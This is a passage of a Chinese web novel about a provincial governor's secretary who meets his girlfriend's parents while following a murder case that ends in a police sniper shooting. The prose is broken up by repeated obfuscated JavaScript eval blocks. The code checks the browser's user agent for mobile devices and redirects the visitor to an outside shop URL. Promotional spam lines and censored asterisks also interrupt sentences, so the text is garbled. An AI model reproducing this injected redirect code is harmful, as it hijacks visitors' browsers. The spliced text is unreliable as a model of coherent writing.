“这个材料,好像跟赵金福没什么关系。李承将资料递给了一旁的廖光辉。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138621|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果只有这种材料的话,李承便不会理睬。 让他继续**,走程序解决问题。 “我手里有赵金福**的证据,但今天没带来。男人摸了一下鼻子,说。 “怎么不带来呢?廖光辉问。 “哎呀,我这不是怕你们**跟他们穿一条裤衩嘛,就留了一手,看看你们的态度再说。 谁曾想你能给李秘书叫过来呀,要知道李秘书在,我就都带来了,对李秘书我绝对是信得过的。 男人尴尬地说。 他也是半点不婉转,说的都是真心话。 “那等你把证据都带 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 齐了,再联系我吧。” 李承说着,从公文包里拿出一张名片递了过去。 “好的李秘书。” 男人接过名牌,也从兜里掏出了一张名牌给李承。 “你叫顾澜呀?”李承收下名片,问。 这个澜,看起来像女人的名字。 “顾澜是我媳妇儿,我叫陈东,我这不是心思您和您爱人要是有美容的需求,联系我媳妇儿嘛,免费。” 陈东笑呵呵地说。 “免费的事情,我从来不碰。” 免费的东西,往往才是最贵的。 想要干净,不被抓住把柄,任何免费的都不能碰。 “交个朋友嘛。”陈东谄媚地说。 “你所有朋友去美容院做项目,都免费吗?”李承问。 “那倒不是。”陈东再次尴尬一笑。 说到底,不管他出于什么心思,能给李承免费,还是碍于李承的职位。 “没其他事情,你就回去吧。”李承站起身,对陈东说。 “我请你们二位一起吃个饭吧,耽误你们下班时间了,我也挺不好意思的,海鲜怎么样?” 陈东客气的邀请道。 他是一个商人,在他眼里,这是他接触人脉的一个机会,他真心希望李承和廖光辉能够赏脸。 “这是我们的工作,饭就不吃了,如果证据确凿,我会帮你们的。” 第222章 **灭口 次日下午,李承和许梦整装待发。 第一次见准岳父母,李承特意拿出了自己最体面的服装,做了一个发型,为了给二老一个好印象。 ‘我的爱如潮水,爱如潮水将我向你推.’ 两人刚下楼,准备赶赴机场,李承的手机就响了起来。 来电显示:市局宫庆鑫。 “谁呀?许梦紧张地问。 她怕是工作上的事情找李承。 “宫局。李承回道。 “他不能有公务上的事情找你吧?许梦担忧地问。 “不能,大周末的。 李承拉开车门,上了主驾驶后,接通了电话:“喂,宫哥。 “李秘书,你那边方便说话吗?宫庆鑫沉声询问。 听到这句话,李承的心情跟着一沉。 这证明要谈的是公事。 “方便。 “是这样,昨天夜里在我市的南山湖小区发生了一起**命案,我们在案发现场发现了你的名片。宫庆鑫说。 “死者是谁?李承问。 “死者是一名男性,叫陈东。宫庆鑫沉声回道。 闻言,李承只感觉一阵头皮发麻。 昨天傍晚,李承刚在**局见过陈东。 这才短短隔了一天,甚至不到二十四个小时,他就**! 李承在其中嗅到了阴暗的味道,直觉告诉他,这是**灭口。 “只有他一个人**吗?李承深吸一口冷气,问。 “嗯,案发时,她妻子不在家,陈东一个人在家带孩子,现场还有一名女童,索性小姑娘没有受伤,只是受到了惊吓。 宫庆鑫将案件情况,告知给了李承。 犯罪分子的人性还没彻底泯灭,至少,他没有伤害无辜的孩子。 “****?还是什么?李承问。 “据陈东的妻子顾澜说,家里的钱财并没有丢失,但是,保险柜里,他们收集的举报证据被拿走了。 顾澜说,这份举报材料,原本是要在周一送给你的。宫庆鑫道。 听到这里,李承可以断定。 陈东的死,就是**灭口。 而背后的始作俑者,跟赵金福脱不了关系。 “犯罪分子现在抓到了没有?李承冷声问。 一股滔天的怒火,正在他的心里熊熊燃烧。 这些**分子,为了自保,居然连**灭口的事情都做得出来,简直无法无天! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “现在已经确定了嫌疑人的踪迹,我们对其住所进行了封锁,还不确定嫌疑人手里是否有人质,正在做调查和制订抓捕计划。 我在赶往现场。”宫庆鑫道。 若非在案发现场发现了李承的名片,这件事或许牵扯到李承,宫庆鑫也不会向李承告知。 他告诉李承,就是想让李承提前有个准备,毕竟,这事跟他或多或少有关系。 “嗯,知道了,嫌疑人抓捕后,跟我说一声。”李承道。 “好。” 挂断电话,李承启动汽车,朝着机场的方向驶去。 “出什么事情了吗?”许梦问。 “发生了一起人命案,跟我昨天接见的**群众有关。”李承也没隐瞒,如实说。 这种事情不涉及机密,可以告诉她。 “那你用不用过去?”许梦紧张地问。 她也希望李承能给自己父母留下好印象,今天是第一天见面,若是李承还去忙工作,她担心父母会多想。 “不用,不在我的职责范畴。”李承摇了摇头,说。 “那就行。” 闻言,许梦这才长出一口气。 孟良德回家探亲,这种**,无须向孟良德做出汇报。 何况,**厅长还没有出面,更不至于打扰省长。 就算省长知情了,一般情况下,也不需要李承的参与。 秘书的工作,是联络枢纽,把下级传递上来的情况汇报给省长,把省长的命令传达下去,这就可以了。 秘书没有决策权,原则上是不介入,不主导的。 顶多是几通电话,点到为止就行。 来到机场。 李承和许梦站在航站楼外,等待着许梦父母的到来。 等了将近半个小时,两人才走出航站楼。 “出来了。” 许梦远远看到了自己的父母,对李承说了一句后,小跑过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138622|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎接:“爸,妈!” 李承怀揣着忐忑的心情,紧跟其后。 “哎呦,我的宝贝闺女,最近胖了一点啦。” 许梦妈妈崔红丹双手握住许梦的肩膀,仔细地打量一番,笑容灿烂的说。 “妈,你怎么一见面就说我不爱听的。”许梦嘟起小嘴。 在她们一家人叙旧期间,李承站在身后,全程面带微笑,并没有插嘴打断。 “爸,妈,给你们介绍一下,这位是我男朋友李承。” 许梦拉住李承的胳膊,向父母介绍。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “叔叔好,阿姨好。” 李承微笑向二人点头问好。 “早就听我家梦梦提起过你,很精神帅气的小伙子嘛。”崔红丹上下打量了李承几眼,说。 李承给她的第一印象还是好的,个子高,人长得也俊朗,穿着打扮也十分得体。 而且,因为李承是省长秘书,在这个滤镜下,她看李承这个准女婿更加顺眼。 “谢谢阿姨,您也很年轻呀,这要是在外面遇到你们,我会认为你是许梦的姐姐呢。” 李承说话的同时,伸手从许梦父亲许强的手里接过行李:“叔叔,我来拿。” “没事,也不重。” 许强笑呵呵地拒绝道。 李承第一次见许梦的家长紧张,其实,许强见到李承时也紧张。 他就是一个普通老百姓,见过最大官,也就是市里某个局的局长。 而李承是省长的秘书,虽说是副处级干部,可他天天打交道的人,都是省部级,厅局级领导。 在这种身份的影响下,许强怕他们老两口给女儿丢面,也是从心里认为,许梦找到李承属于高攀了。 这才是为何,他们老两口愿意自降身价,坐飞机来东江省看女儿和准女婿的原因。 毕竟,以李承的身份,换做是陌生人,他们老两口连上前搭话的资格都没有。 “我来吧,叔叔,你们坐飞机也累了一天。” 李承从许强的手里拿过行李,略显愧疚地说:“本来我是计划劳动节假期去拜访您们,没曾想您们先过来了,我心里挺惭愧的。” 第223章 见家长 “你是省长的秘书,要帮忙主持全省的工作,任务重,我们能理解。崔红丹笑呵呵地说。 “是呀,李承每天忙得焦头烂额,有时候省长一个电话,凌晨都要随叫随到的。 许梦也在替李承解释。 “不过,有一点我得把话说前面,再忙也不能忽视了我女儿的感受,不然别说你是秘书,你就是省长,我也不能把女儿嫁给你。 崔红丹宠溺的看着许梦一样:“我呀,就这一个宝贝女儿,可以没有大富大贵,但不能让她受委屈。 “阿姨您放心,许梦是您和叔叔的掌上明珠,也是我的公主。李承温和地笑着。 短暂的相处下来,李承发现,自己之前的担忧是多余的。 许梦的父母,跟秦虹的父母有本质区别。 秦虹的父母就想找一个金龟婿,想着女儿靠着婚姻可以跨越阶级,在她看来,有了金钱和地位,就等同于有了幸福。 可许梦的父母是真心疼爱许梦,在乎她的个人感受。 理念上的不同,源自于每个人的原生家庭和经历不同,崔红丹的理念,更加在乎内在感受。 “妈,你就放心吧,李承他工作这么忙,每天也会尽可能的多陪我,从来不去参与一些没必要的酒局。 他对我非常好,比我爸对你都好。 许梦是发自内心地认可李承,这份认可,不仅限于爱情的冲动。 也是这段时间一起生活的真实感受。 爱和体贴是藏在生活的细节里,一个人的本质如何,相处后都会有感悟。 “嗯,对你好就行。崔红丹笑着说。 聊天时,几个人已经走到了车旁,李承率先一步为许梦父母拉开车门。 将他们请上车后,自己又打开后备箱,放置行李。 做完这一切,李承坐进主驾驶,启动车辆:“叔叔,阿姨,你们赶了一天的路,也饿了吧,咱们先去吃饭。 “嗯,好。 饭店李承已经订好了,就在牡丹会。 第一次见准岳父母,招待的规格要高一些,显得对他们的重视。 除此之外,李承也有自己的小心思。 人都有虚荣心,李承也想表现一下自己,而牡丹会提供的服务最周到,给的面子也最足。 一个小时后,车停在了牡丹会门口。 许梦一家三口说说笑笑,李承就跟着一旁,很少多嘴。 这是当秘书后,养成的习惯。 言多必失,要 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 么不说说就说在点子上。 “李总好。” 进入牡丹会内凡是路过的工作人员都会客客气气地对李承问声好。 “李总您来了。” 进入大堂黄经理立马迎了上来满脸笑容:“您订的包间在这边请。” “嗯。” 李承微微点头一行人在黄经理的带领下进了包间。 李承点了几个菜后将菜单递给了许强:“叔叔阿姨您看有什么想吃的。” “这里的菜可真是不便宜呀也不是外人 一旁素菜都要卖到两三百要是点个海鲜一道菜就要是一两千。 他心思算了一下刚才李承点的那几个菜都要四五千块。 他们就是普普通通的百姓平时也什么招待应酬从来不会去这么昂贵的餐厅用餐。 “叔叔这是我们第一次见面我就想选一个舒服点的地方也算是我的一份心意。”李承微笑回道。 “你已经点这么多了我们就四个人够吃了不用了。” 崔红丹看完菜单也被上面的价格惊了一下:“你们小两口以后也要过日子没必要选这么贵的餐厅你赚钱也不容易。” 崔红丹嘴上这么说心里却对李承的好感又平添了几分。 这不是钱的问题是态度。 李承有这份态度也是对她们的重视更是侧面验证了李承对许梦的重视。 “李承平时很节省的我上节目时他经常一个人吃泡面这也就是你和我爸来了他才选在这里。”许梦说。 她想跟李承结婚所以每一句话都在帮李承拉好感。 “吃泡面可不健康你们年轻人不愿意做饭的话煮一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138623|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点挂面下个鸡蛋也行呀。”崔红丹劝道。 “嗯知道了阿姨。” 李承微笑点头心想:我就是饿肚子也不吃挂面。 对于李承这位北方人来说挂面的地位在所有速食里是最低档低到宁可饿一顿也不会选择吃的程度。 说话时李承站起身给许梦的父母倒茶。 “李总我来吧。” 房间内的服务员见状走上来准备接过茶壶。 “不用。” 李承拒绝了对方亲自动手。 很快菜就陆续上来了四个人也开始动筷。 “李承你父母对我家梦梦的感觉怎么样?”崔红 听说看这本书的人都是很幸运的,分享后你的运气会更棒 丹边吃边问。 这也是她担忧的问题。 “我爸妈对她特别满意,一直催着我抓紧给许梦娶进门呢,他们也特别想见您二位,我给他们订了明天的票。” 李承给许梦夹了一块螃蟹,说。 他没有安排双方父母在今天见面,是避免唐突。 毕竟,许梦的父母还没有见过李承,需要先熟悉了解一下。 李承需要先争取到许梦父母的认可,双方家长再见面。 如果许梦父母对李承不满意,那么双方父母见面也没必要。 “嗯,我们家梦梦喜欢你,我们做父母的,尊重她的想法,我担心就是你这个工作。” 崔红丹担心的是,不仅是李承的工作时间问题,还有他身处的环境。 省长秘书,看似光鲜亮丽,可背后面对的危险和诱惑也很多,她怕李承经不住诱惑,伤害了自己女儿。 “我现在的秘书职位只是一个跳板,这两年可能会忙一些,但等我调任后,时间也会充裕很多。 我不会忽略许梦的感受,更不会做出任何伤害她的事情。” 李承认真地保证道。 ‘咚咚咚’ 就在这时,包厢的门被敲响。 牡丹会的老板,面带微笑地走了进来:“李处长,听说您大驾,我代表牡丹会给您上几道敬菜。” 第224章 中途离去 李承一共点了八道菜2凉5热1汤。 陈锋的敬菜就达到了四道。 而且每一道菜都是他们点的特色一份甜品两份海鲜和一份肉菜。 敬菜也是有讲究的。 菜品不能高于客人点的主菜规格不然会显得客人小气把客人的风头压下去。 如若不然陈锋恨不得把店里最贵最好的菜端上来以示尊重。 上次跟张英双吃饭李承帮他开脱让他少喝了几杯白酒这个情陈锋始终记得。 “陈总您这太客气了。”李承客套道。 “李处长能来我们牡丹会吃饭是我们的荣幸。” 两个人寒暄时许梦也在跟崔红丹和许强夸奖李承的好。 这一细节被陈锋记在了心里。 “还有一件事是我和你叔担心的因为你这个工作性质问题万一以后工作调动到外地和我家梦梦分隔两地。 你准备解决这个问题?”崔红丹问。 这个问题也是李承担忧的。 孟良德如果离开省长位置李承有很大概率会被调离汉江到下面地级市任职。 可许梦在省电视台的工作很稳定。 如此一来两个人势必要分隔两地。 “我会尽量争取留在汉江如果调动在外地我也会想办法解决这个问题。” 这个问题很棘手。 说能解决是假的他这份工作就要服从组织的安排。 至于怎么解决要因地制宜现在根本拿不出什么好的办法。 “没关系呀我可以申请调到地方台反正李承去哪我就去哪。”许梦说。 “你在省台工作这么顺利调走多可惜呀?” 崔红丹并不满意许梦的说法。 “反正我不管李承去哪我就跟着去哪而且我自媒体做的也不错到时候我成了百万网红这个工作我还不想干了呢。” 许梦态度坚定地说。 她摆出认准李承的态度对此崔红丹也拿她没什么办法。 ‘我的爱如潮水.’ 这时李承的手机响了起来。 铃声响起的刹那许梦的目光第一时间投了过来她担心李承有工作要忙。 李承拿出手机是孟良德打来的电话。 “老板的电话我出去接一下。” 李承说完站起身接通电话 “鲁林刚才向 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 我汇报说昨晚发生了一起命案他们正在抓捕现场但嫌疑人已经放开了煤气准备要殊死反抗。 这件事可能会危及公众安全你去看一眼实时向我汇报情况。”孟良德吩咐道。 现在是扫黑除恶的关头发生这种事情孟良德严肃重视。 但他回家探亲不能亲自赶到。 为了可以尽快了解情况下达命令需要秘书赶赴现场远程配合省长工作。 “好的老板。” 李承点头答应。 今天是他第一次见许梦的父母虽说他心里百般不情愿不想中途离场。 可在工作和群众安全问题前也只能答应。 公职人员就是这样一切的私事在公务面前都要放在末尾。 “孟省长给你打电话有什么事情?”许梦见李承表情沉重开口询问。 “还是下午那件事现在涉及到了群众安全他让我赶赴现场。” 李承解释完情况后满脸歉意地看向崔红丹和许强:“叔叔阿姨 事情结束我会尽快的赶回来。” “没关系工作要紧这个我们都能理解。”崔红丹宽慰说。 在她知道李承的工作时就能理解对方的忙碌对于这种突发事件的失陪她并不介意。 “谢谢阿姨。” 李承没想到许梦的父母这么通情达理表示感谢后又安慰了许梦几句这才离开包厢。 在前台结了账李承给宫庆鑫打去一个电话。 了解对方的位置后他急匆匆地赶了过去。 半个分钟后李承抵达了现场。 “鲁厅长刘市长。” 李承跟在场的领导先打了一个招呼。 这个事件**厅长鲁林和汉江市长都来了他们已经可以主持大局。 李承觉得自己赶过来也很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138624|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余。 “嗯李秘书来了。” 两个人对李承点了点头回应道:“省长对这件事很重视特意让我过来。” 说完李承走到了宫庆鑫身边问:“宫局现在什么情况?” “我们正在疏散人群五楼有一户是瘫痪家属刚赶回来我们才得知消息。” 宫庆鑫眼神凝重的盯着不远处的住宅楼说。 “嫌疑人在几楼?”李承问。 “三楼。” “中间还隔着一层楼煤气罐的威 你的朋友正在书荒,快去帮帮他吧 力没那么大吧?”李承说。 在他看来,就算是犯罪分子点燃了煤气罐,也不至于波及五楼。 “嫌疑人是个煎饼小贩,平时他就在家里摊煎饼出去卖,屋内存储了不少煤气罐。 据调查,起码有五个。”宫庆鑫凝重地说。 “这东西,不能无限制的购买吧?”李承的脸色也沉了下来。 五个煤气罐如果通知**,威力相当于三百公斤的TNT**,破坏力和杀伤范围极强。 这种东西,在管制中,不应该出现囤积的情况。 “唉,这就涉及到了监管不力。”宫庆鑫叹了一口气。 “现在消防员已经进去救人了?” 李承看着不远处停着的消防车,问。 “嗯。”宫庆鑫点了点头:“希望顺利吧。” 他们所有人,目前最担心的事情,就是在消防员进去救人的期间发生**。 那样的话,这就是重大事故。 怪不得孟良德远在京城,也对此事格外上心。 李承在了解完情况后,给孟良德打去电话,将情况汇报了上去。 听完李承的讲述,电话那边陷入了沉默。 “狙击手已经做好准备,可嫌疑人释放了煤气,开枪击毙的话,很大概率引起**。” 李承再次开口,说。 现在房间里的煤气浓度,谁也不知道。 一旦达到标准,一点花火都可能引发**,所以,击毙犯罪分子已经是不可取的选择! 第225章 一声枪响 “让鲁林接电话。” 沉默了片刻,电话那边的孟良德吩咐道。 鲁林是**厅长,这种一线处置问题,全部由鲁林负责。 至于刘宝林市长,他的工作是整体统筹,给**部门兜底,调配资源。 “鲁厅长,孟省长的电话。” 李承走到鲁林身边,将手机递了过去。 “孟省长,嗯我明白.我们已经进行了疏散和通风犯罪分子那边情绪不太稳定。 只是说想见他姑娘一面,我们也派人去接了,正在赶来的路上好,请您放心。” 鲁林在听到省长的指示,和细致汇报了下情况后,将手机递给李承。 李承接过手机,孟良德已经挂断了。 在这种事件里,李承这位秘书没有什么主导作用。 他的职责就是不参与,不决策,不多嘴,只做孟良德的眼睛和传话筒。 正当大家等待嫌疑人的女儿到达时,三楼犯罪嫌疑人所在的窗户打开了。 一个四十多岁,皮肤黝黑,满脸皱纹的男人,打开了窗户,将脑袋探了出来,大口大口地喘着气。 此时,他已经有些意识模糊,整个人处于一种**的状态。 当呼吸到新鲜空气后,他直接呕吐了出来。 呕吐物顺着窗户掉落在一楼地面上,还有一部分被风刮到了墙壁上。 “嫌疑人露头了,鲁厅长,有没有**的可能。” 见此情景,刘宝林开口询问鲁林。 如果狙击点位合适,**从侧面射出,只命中嫌疑人头部,不会射**内的情况下,是有执行性的。 “3号狙击手,有把握的情况下,立即击毙!”鲁林下达命令。 作为决策者,他的耳机时刻跟所有狙击手保持着连线状态,方便第一时间传达命令。 “爸,你别做傻事呀!” 正在这时,一个十七八岁的小姑娘从警车里冲了下来。 她带着哭腔,冲着嫌疑**喊。 嫌疑人听到女儿的声音,振作了起来,他目光看向小姑娘,脸上流露出一抹慈祥的笑容。 但这种笑容下,也有一种深深的不舍和绝望。 隐约间,李承似乎在他的眼神看到了泪光。 “爸,你快下来,有什么事情咱们跟警察好好说,你别吓我呀”女人带着哭腔,焦急地劝说着。 “姑娘,你一定要照顾好自己,听**话,听见没,爸这辈子最放心不下的人就是你。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 嫌疑人望着小姑娘疲惫的声音里带着颤抖和哽咽。 他知道自己是死路一条在临死之前他的心愿是见一面女儿。 不然的话他也不会跟警方僵持这么久。 “姑娘你听爸说” ‘砰!’ 嫌疑人还要再说些什么时一道**响起。 与此同时一颗**已然命中了嫌疑人的头部。 血花飙溅嫌疑人的声音也戛然而止。 他的身体无力地瘫软下去被爆了头的上半身就悬在窗户外画面十分瘆人 “爸!” 一声凄厉哀嚎从小姑娘的口中喊出泪水流淌而下。 她已然顾不得任何拼了命地朝着楼道跑去却被几名警员拦住。 “滚开我要去找我爸!” 可无论她如何的挣扎警员们都将她拦在外面不允许她进入。 看着这一幕李承心里一阵心酸。 在鲁林的指挥下消防员和警方陆续进入单元开始做结尾工作。 李承转过头将电话打给了孟良德。 ‘嘟嘟.’ 电话刚拨过去孟良德就接听了:“什么情况了?” “嫌疑人已经被击毙并没有发生**事件。”李承汇报道。 “嗯剩下的事情就交给他们处理吧。” 得到自己满意的结果孟良德孟良德松了一口气。 若是五个煤气罐被点燃发生的**会给社会造成很恶劣的影响殃及无辜。 **一个犯罪嫌疑人无疑是眼下情况的上策。 “老板有一件事情我觉得需要跟您汇报一下。” 李承拉开车门 车内相对于是一个密闭的空间谈话内容不会被外人听见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138625|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你说。” “我认为这起案件背后另有隐情可能涉及花海集团和汉江检察院的党组**赵金福。” 李承说到这里停顿了一下给孟良德一个反应的时间后继续道:“昨天我在信封局接见了一个人他说他的手里有赵金福**包庇的证据。 结果昨天晚上他就被**杀害了据悉他家里没有丢任何贵重物品唯一丢失的就是那份证据。 所以我怀疑是有人想要**灭口这位嫌疑人应该是受人指使。” “嗯你辛苦一下这个案子全程跟进。”孟良德得到李承的消息后吩咐道。 “好的老板。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ” 挂断电话,李承下车等了一会。 见事情已经稳定下来,不会再有意外发生的可能性,李承跟鲁林,刘宝林等人打了个招呼。 又特意跟宫庆鑫叮嘱了几句后,告辞离开。 回到车上,李承给许梦打去了一个电话,询问那边的进展。 ‘嘟嘟.嘟.’ “喂,宝宝?” 电话接听,许梦动听的声音传来。 “我这边结束了,你们在哪呢?”李承问。 距离自己离开,已经过去了将近两个小时,李承猜测,他们应该离开了。 “我和爸妈在牡丹水汇,正在泡温泉呢。” 许梦回答后,说:“我爸妈还夸你来着,说你想得周到,去忙工作还想着他们。” 闻言,李承微微一愣,满心疑惑。 不过,很快他就想明白许梦所言的原因。 牡丹水汇是汉江数一数二的洗浴,按摩娱乐,住宿综合体,它和牡丹会是同一个老板,陈锋。 “是陈锋安排你们过去的?”李承问。 “嗯,对呀,他说你都交代好了,还给爸妈在这里开了套房,但我记得,你昨天不是订过其他酒店了吗?” 许梦最开始也是疑惑的,但陈锋说是李承可以交代,也就没多想。 “嗯,我想着叔叔阿姨洗完澡,就能去休息,换其他酒店太折腾了,就订在这里了。” 第226章 满意的安排 “我爸妈对你的安排特别满意,虽然你提前离开了,但这次表现我还是要给打一百分。” 许梦笑嘻嘻地说。 崔红丹和许强都很认可李承,许梦自然也欢喜。 她找男朋友,当然也希望得到家人的认可。 “嗯,我现在过去了,等我吧。”李承说。 “好,我们等你,我都想你了。” 挂断电话,李承将自己订的酒店退款后,开车赶往牡丹水汇。 在路上,李承给陈锋打了一个电话,在表示感谢后,他让陈锋在牡丹水汇等一会自己。 陈锋能把生意做这么大,处世之道还是很有一套的。 李承是一个边界感很强的人,尤其是对待这些商人,始终保持着距离和防备。 可陈锋今天的做法,的的确确让李承很满意,对他的好感也翻了倍。 这不是锦上添花,对李承来说,这是雪中送炭。 抵达牡丹水汇,李承在大厅看到了陈锋。 “李总,您来了。” 陈锋迎了上来,笑着打招呼。 在外人面前,以‘总’来称呼更能避嫌。 只有在相对稳妥的环境里,他才会称呼那些官员的职务。 “陈总,感谢你的安排,你比我还要细心啊,哈哈哈。”李承主动伸出手,这是一种示好。 陈锋跟李承握了握手,客套道:“您为了人民的事情而奔波,我没您那么大的责任,能做的只有这些。” “他们在几楼?”李承问。 牡丹水汇还是他第一次来,对于内部布局并不了解。 “他们在泡温泉,在五楼了,我带您过去。”陈锋做了一个请的手势,说。 “先不着急,我去前台把单买一下。”李承说。 “我都安排好了。” 陈锋微微摇了摇头,婉拒道。 “一码归一码,你开门做生意,不能不赚钱。”李承坚持道。 李承宁可多花一些钱,也不愿意去占这些商人的便宜。 占了便宜,就会落人口舌。 虽说,免费洗澡,住宿的小便宜,不算什么大问题。 但任何可能被人诟病的事情,他都要杜绝! “洗澡泡温泉,都是出来的时候再买单,也没有先付钱的。”陈锋道。 “但住酒店的钱,应该没有后买单的吧?”李承坚持道。 “那好吧,您这边请。” 陈锋知道李承跟张英双有本质的不同,李承 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 特别爱惜自己的羽毛,如果不收钱,对方可能会直接带人离开。 人情已经卖出去了,陈锋也会点到为止。 即便如此,在付款时,陈锋还是让收银员给李承打了折扣。 对此,李承也没有拒绝。 折扣即是人情。 付款是为了避嫌,只要把钱付了,他心里就托底,别人也挑不出问题。 但如果连折扣都拒绝,那就是把关系撇得太清,不利于交际。 晚上十点半。 李承将许梦父母的行礼送到房间,又简单地聊了会天,这才跟许梦离开。 出了房间,许梦挽住了李承的胳膊:“老公,你晚上都没怎么吃饭,饿不饿呀?” “有点。”李承说。 晚上李承没怎么动筷,就被孟良德的电话叫走。 上顿饭还是上午十点吃的,已经过去十二个小时,肚子里空空如也。 “我给你打包了饭菜,我回家给你热一热。” 算上敬菜,一共十二道,许梦一家三口根本吃不完,其中很多菜都没吃几口。 这些菜都很贵,许梦不舍得扔,基本都打包了。 “送完你回家,我还得去一趟市局。”李承说。 犯罪分子已经被击毙,但还有很多后续工作,李承需要了解情况,等明天向孟良德做汇报。 “还没结束吗?”许梦问。 “嗯,有些事情需要了解,很快的。”李承宠爱地看了许梦一眼,说。 “那我可以跟你一起去吗?我在车里等你。”许梦眨着眼睛,眼神楚楚可怜。 “好。” 回到车里,李承给宫庆鑫打了一个电话,在确认对方位置,和询问一些进展后,开车赶往了市**局。 了解情况是工作,工作期间,女朋友就不能跟在身边。 许梦留在车里,李承一个人进入了市局。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138626|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宫庆鑫在给刑侦开会,李承等了十几分钟,他才出来。 “宫局,调查清楚原因了吗?”李承问。 “我们到会议室聊吧。” 宫庆鑫推开门,带着李承又回到了会议室。 “小王,屏幕先不用关。” 宫庆鑫对着准备关闭会议屏幕的工作人员吩咐一声。 随后,他接过遥控器,开始给李承介绍。 屏幕上,就是这次他们调查取证的所有线索。 “嫌疑人叫张军,今年四十九岁,没有任何的犯罪前科,靠着卖煎饼为生。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 我们在他家里发现了大量的去疼片和一张报告单,他已经是胃癌晚期。 据我们调查,他与死者陈东素不相识,更没有恩怨,推测是有人雇**人。 不过,我们查了张军和他家人的银行流水,并没有收到过大额转账,应该是现金交易,或者达成了某种金钱外的交易。” 宫庆鑫向李承做出汇报。 “通话记录和聊天记录,有没有线索?”李承问。 “没有。”宫庆鑫摇头。 “嗯,我觉得要着重调查一下花海集团和赵金福,陈东在家里被抢走的证据,跟他们有关系。 如果是**灭口,他们一定脱不了关系。” 关于具体的方式,李承心里也有一定的见解。 只不过,他是省长秘书,而宫庆鑫是一位三十年的老警察,如果自己去讲破案见解,无疑是关公面前耍大刀。 所以,他将自己知道的实情,以及推测的方向,告诉给了对方。 “这群人呀,简直是泯灭人性。”宫庆鑫递了一支香烟给李承,说。 李承接过香烟,拿起火机点燃。 他吸了一口,问:“陈东的老婆还在**局吗?” “在,还有些情况,我们没跟她了解完。”宫庆鑫道。 “我想见一见她,能安排一下吗?” 陈东**,证据也被带走销毁了。 有些事情,李承只能听顾澜的口述。 李承想知道,他们的手里到底掌握了什么具体证据,以至于让对方**灭口。 “可以。” 第227章 